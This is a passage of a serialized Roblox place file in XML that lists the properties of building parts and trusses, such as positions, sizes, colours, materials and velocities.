					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>9</X>
					<Y>8.40000057</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1175">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003204</X>
					<Y>9.399333</Y>
					<Z>13.9998121</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00143073348</X>
					<Y>0.0125161363</Y>
					<Z>0.00170504116</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1176">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002365</X>
					<Y>9.4000206</Y>
					<Z>16.0003643</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00220055529</X>
					<Y>0.00366108934</Y>
					<Z>-0.0028512436</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1177">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004959</X>
					<Y>9.39989567</Y>
					<Z>7.99983215</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.005616209</X>
					<Y>-0.00244695065</Y>
					<Z>0.00387932011</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1178">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>180.5</X>
					<Y>4.59999228</Y>
					<Z>186.5</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>9</X>
					<Y>8.40000057</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1179">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.000309</X>
					<Y>6.99895859</Y>
					<Z>13.999836</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.000211285529</X>
					<Y>0.0125161363</Y>
					<Z>0.00165321771</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1180">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003471</X>
					<Y>6.99966145</Y>
					<Z>12.0001259</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00218201941</X>
					<Y>0.00606262684</Y>
					<Z>-0.00450452324</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1181">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>255.199997</X>
					<Y>4.39999962</Y>
					<Z>143.5</Z>
					<R00>0</R00>
					<R01>1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>225</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1182">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>143</X>
					<Y>4.4000001</Y>
					<Z>255.199997</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>224</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1183">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>85.8000031</X>
					<Y>4.4000001</Y>
					<Z>63</Z>
					<R00>0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>64</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1184">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>169.800003</X>
					<Y>4.4000001</Y>
					<Z>51.5</Z>
					<R00>0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>41</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1185">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>201.5</X>
					<Y>15.4000006</Y>
					<Z>193</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>15</X>
					<Y>8.40000057</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX1186">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-27</X>
					<Y>46.6000061</Y>
					<Z>-63</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>6</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX1187">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-14.9999981</X>
					<Y>9.40001488</Y>
					<Z>-51</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>18</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1188">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>197.1875</X>
					<Y>7.3883357</Y>
					<Z>207.5</Z>
					<R00>2.80139866e-005</R00>
					<R01>-0.99999994</R01>
					<R02>-2.97992329e-007</R02>
					<R10>2.17566503e-006</R10>
					<R11>2.97941881e-007</R11>
